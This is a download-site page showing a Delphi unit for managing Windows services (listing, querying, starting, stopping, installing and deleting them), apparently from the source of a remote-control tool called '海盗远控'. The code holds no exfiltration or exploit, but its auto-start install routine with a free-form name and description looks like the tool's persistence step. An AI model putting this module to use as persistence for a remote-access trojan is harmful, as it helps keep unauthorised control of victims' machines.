⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 winntservice.pas

📁 海盗远控1.23源代码
💻 PAS
字号:
//unit Service: List Service and Operate Service;
unit winntService;

interface

uses WinSvc,Classes,Windows,Sysutils,WinSvcEx;

function ServiceGetList(
  sMachine : string;
  dwServiceType,
  dwServiceState : Dword;
  slServicesList : TStrings )
  : boolean;                            //List service
function GetStartType(
  sMachine,
  sService:string): string;

function ServiceGetKeyName(
  sMachine,
  sServiceDispName : string ) : string;    //convert displayname to keyname

function ServiceGetDisplayName(
  sMachine,
  sServiceKeyName : string ) : string;     //conver keyname to displayname

function ServiceGetStatus(
  sMachine,
  sService : string ) : DWord;           //Get service status

function ServiceRunning(
  sMachine,
  sService : string ) : boolean;

function ServiceStopped(
  sMachine,
  sService : string ) : boolean;

function ServiceStart(
  sMachine,
  sService : string ) : boolean;

function ServiceStop(
  sMachine,
  sService : string ) : boolean;
  
function InstallService(Target:String;ServiceName:String;Filename:String;Value: string):Boolean;
  
function DelService(ServiceName:String):Boolean;

implementation

function ServiceGetList(
  sMachine : string;
  dwServiceType,
  dwServiceState : Dword;
  slServicesList : TStrings )
  : boolean;
const
  cnMaxServices = 4096;
type
  TSvcA = array[0..cnMaxServices]
          of TEnumServiceStatus;
  PSvcA = ^TSvcA;
          
var
  j : integer;
  schm          : SC_Handle;
  nBytesNeeded,
  nServices,
  nResumeHandle : DWord;
  ssa : PSvcA;
begin
  Result := false;

  schm := OpenSCManager(PChar(sMachine),Nil,SC_MANAGER_ALL_ACCESS);

  if(schm > 0)then      // if successful...
  begin
    nResumeHandle := 0;
    New(ssa);

    EnumServicesStatus(
      schm,
      dwServiceType,
      dwServiceState,
      ssa^[0],
      SizeOf(ssa^),
      nBytesNeeded,
      nServices,
      nResumeHandle );

    for j := 0 to nServices-1 do
    begin
      slServicesList.
        Add( StrPas(
          ssa^[j].lpDisplayName ) );
    end;
    Result := true;
    Dispose(ssa);
    CloseServiceHandle(schm);
  end;
end;


function ServiceGetKeyName(
  sMachine,
  sServiceDispName : string ) : string;
var
  schm          : SC_Handle;
  nMaxNameLen   : DWord;    // max key name len
  psServiceName : PChar;    // temp. string
begin
  Result := '';
  nMaxNameLen := 255;

  schm := OpenSCManager(PChar(sMachine),Nil,SC_MANAGER_CONNECT);
  if(schm > 0)then     // if successful...
  begin
    psServiceName :=
      StrAlloc(nMaxNameLen+1);

    if(nil <> psServiceName)then
    begin
      if(GetServiceKeyName(schm,PChar(sServiceDispName),psServiceName,nMaxNameLen ) )then
      begin
        psServiceName
          [nMaxNameLen] := #0;
        Result :=StrPas( psServiceName );
      end;
      StrDispose(psServiceName);
    end;
    CloseServiceHandle(schm);
  end;
end;
//服务启动类型
function GetStartType(sMachine,sService:string): string;
var
  schm          : SC_Handle;
  Svc: Integer;
  Config: Pointer;
  Size: DWord;
begin
  Result := '';
  schm := OpenSCManager(PChar(sMachine), nil, SC_MANAGER_ALL_ACCESS);
  if schm <> 0 then
  begin
    Svc := OpenService(schm, PChar(sService), SERVICE_ALL_ACCESS);
    QueryServiceConfig(Svc, nil, 0, Size);
    Config := AllocMem(Size);
    QueryServiceConfig(Svc, Config, Size, Size);
    case PQueryServiceConfig(Config)^.dwStartType of
      SERVICE_AUTO_START:result:= '0';
      SERVICE_BOOT_START:result:= '1';
      SERVICE_DEMAND_START: result:= '2';
      SERVICE_DISABLED: result:= '3';
      SERVICE_SYSTEM_START:result:= '4';
    end;
  end;
end;


function ServiceGetDisplayName(
  sMachine,
  sServiceKeyName : string ) : string;
var
  schm          : SC_Handle;
  nMaxNameLen   : DWord;    // max display name len
  psServiceName : PChar;
begin
  Result := '';
  nMaxNameLen := 255;
  schm := OpenSCManager(PChar(sMachine),Nil,SC_MANAGER_CONNECT);
  if(schm > 0)then    // if successful...
  begin
    psServiceName :=
      StrAlloc(nMaxNameLen+1);
    if(nil <> psServiceName)then
    begin
      if( GetServiceDisplayName(schm,PChar(sServiceKeyName),psServiceName,nMaxNameLen ) )then
      begin
        psServiceName
          [nMaxNameLen] := #0;
        Result :=StrPas( psServiceName );
      end;
      StrDispose(psServiceName);
    end;
    CloseServiceHandle(schm);
  end;
end;



function ServiceGetStatus(sMachine,sService : string ) : DWord;
var
  schm,schs   : SC_Handle;
  ss     : TServiceStatus;
  dwStat : DWord;
begin
  dwStat := 0;
  schm := OpenSCManager(PChar(sMachine),Nil,SC_MANAGER_CONNECT);
  if(schm > 0)then    // if successful...
  begin

    schs := OpenService(schm,PChar(sService),SERVICE_QUERY_STATUS);

    if(schs > 0)then  // if successful...
    begin
      if(QueryServiceStatus(schs,ss))then
      begin
        dwStat := ss.dwCurrentState;
      end;
      CloseServiceHandle(schs);
    end;
    CloseServiceHandle(schm);

  Result := dwStat;
    end
    else Result := SERVICE_STOPPED;
end;



function ServiceRunning(sMachine,sService : string ) : boolean;
begin
  Result := SERVICE_RUNNING=ServiceGetStatus(sMachine, sService );
end;



function ServiceStopped(sMachine,sService : string ) : boolean;
begin
  Result := SERVICE_STOPPED=ServiceGetStatus(sMachine, sService );
end;


function ServiceStart( sMachine,
  sService : string ) : boolean;
var
  schm,schs   : SC_Handle;
  ss     : TServiceStatus;
  psTemp : PChar;
  dwChkP : DWord;
begin
  ss.dwCurrentState := 0;
  schm := OpenSCManager(PChar(sMachine),Nil,SC_MANAGER_CONNECT);
  if(schm > 0)then  // if successful...
  begin
    schs := OpenService(schm,PChar(sService),
      SERVICE_START or
      SERVICE_QUERY_STATUS);

    if(schs > 0)then  // if successful...
    begin
      psTemp := Nil;
      if(StartService(schs,0,psTemp))then
      begin
        if(QueryServiceStatus(schs,ss))then
        begin
          while(SERVICE_RUNNING<>ss.dwCurrentState)do
          begin
            dwChkP := ss.dwCheckPoint;
            Sleep(ss.dwWaitHint);
            if(not QueryServiceStatus(schs,ss))then
            begin
              break;
            end;
            if(ss.dwCheckPoint <dwChkP)then
            begin
              break;
            end;
          end;
        end;
      end;
      CloseServiceHandle(schs);
    end;
    CloseServiceHandle(schm);
  end;
  Result :=SERVICE_RUNNING=ss.dwCurrentState;
end;



function ServiceStop(
  sMachine,
  sService : string ) : boolean;
var
  schm,schs   : SC_Handle;
  ss     : TServiceStatus;
  dwChkP : DWord;
begin
  schm := OpenSCManager(PChar(sMachine),Nil,SC_MANAGER_CONNECT);
  if(schm > 0)then  // if successful...
  begin
    schs := OpenService(schm,PChar(sService),
      SERVICE_STOP or
      SERVICE_QUERY_STATUS);
    if(schs > 0)then  // if successful...
    begin
      if(ControlService(schs,SERVICE_CONTROL_STOP,ss))then
      begin
        if(QueryServiceStatus(schs,ss))then
        begin
          while(SERVICE_STOPPED<>ss.dwCurrentState)do
          begin
            dwChkP := ss.dwCheckPoint;
            Sleep(ss.dwWaitHint);
            if(not QueryServiceStatus(schs,ss))then
            begin
              break;
            end;
            if(ss.dwCheckPoint <dwChkP)then
            begin
              break;
            end;
          end;
        end;
      end;
      CloseServiceHandle(schs);
    end;
    CloseServiceHandle(schm);
  end;

  Result :=SERVICE_STOPPED=ss.dwCurrentState;
end;



function InstallService(Target:String;ServiceName:String;Filename:String;Value: string):Boolean;
var
ss     : TServiceStatus;
psTemp : PChar;
hSCM,hSCS:THandle;

srvdesc : PServiceDescription;
desc : string;
SrvType : DWord;
begin
psTemp := Nil;

SrvType := SERVICE_WIN32_OWN_PROCESS and SERVICE_INTERACTIVE_PROCESS;;

hSCM:=OpenSCManager('',nil,SC_MANAGER_ALL_ACCESS);
hSCS:=CreateService(hSCM, //句柄
Pchar(Target),            //服务名称
Pchar(ServiceName),       //显示服务名
SERVICE_ALL_ACCESS,       //服务访问类型
SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS,//服务类型  SERVICE_WIN32_OWN_PROCESS  and SERVICE_INTERACTIVE_PROCESS
SERVICE_AUTO_START,       //自动启动服务
SERVICE_ERROR_IGNORE,     //忽略错误
Pchar(Filename),          //启动的文件名
nil,//name of load ordering group (载入组名) 'LocalSystem'
nil,//标签标识符
nil,//相关性数组名
nil,//帐户(当前)
nil);//密码(当前)


  if Assigned(ChangeServiceConfig2) then
    begin
      // Service descriptions can't be longer than 1024!!!
      desc := Copy(Value,1,1024);
      GetMem(srvdesc,SizeOf(TServiceDescription));
      GetMem(srvdesc^.lpDescription,Length(desc) + 1);
      try
        StrPCopy(srvdesc^.lpDescription, desc);

        ChangeServiceConfig2(hSCS,SERVICE_CONFIG_DESCRIPTION,srvdesc);

      finally
        FreeMem(srvdesc^.lpDescription);
        FreeMem(srvdesc);
      end;
    end;


end;

function DelService(ServiceName:String):Boolean;
var
sm: THandle;
sh: THandle;
ret: Integer;
begin
try
  ret := 0;
  sm := OpenSCManager('', nil, SC_MANAGER_ALL_ACCESS);
  if sm <> 0 then
  begin
    sh := OpenService(sm, PChar(ServiceName), SERVICE_ALL_ACCESS);
    if sh <> 0 then
      begin
        DeleteService(sh);
        ret := 1;
        CloseServiceHandle(sh);
      end;
      CloseServiceHandle(sm);
  end;
  if Ret > 0 then
    result :=True
  else
    result :=False;
except
end;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -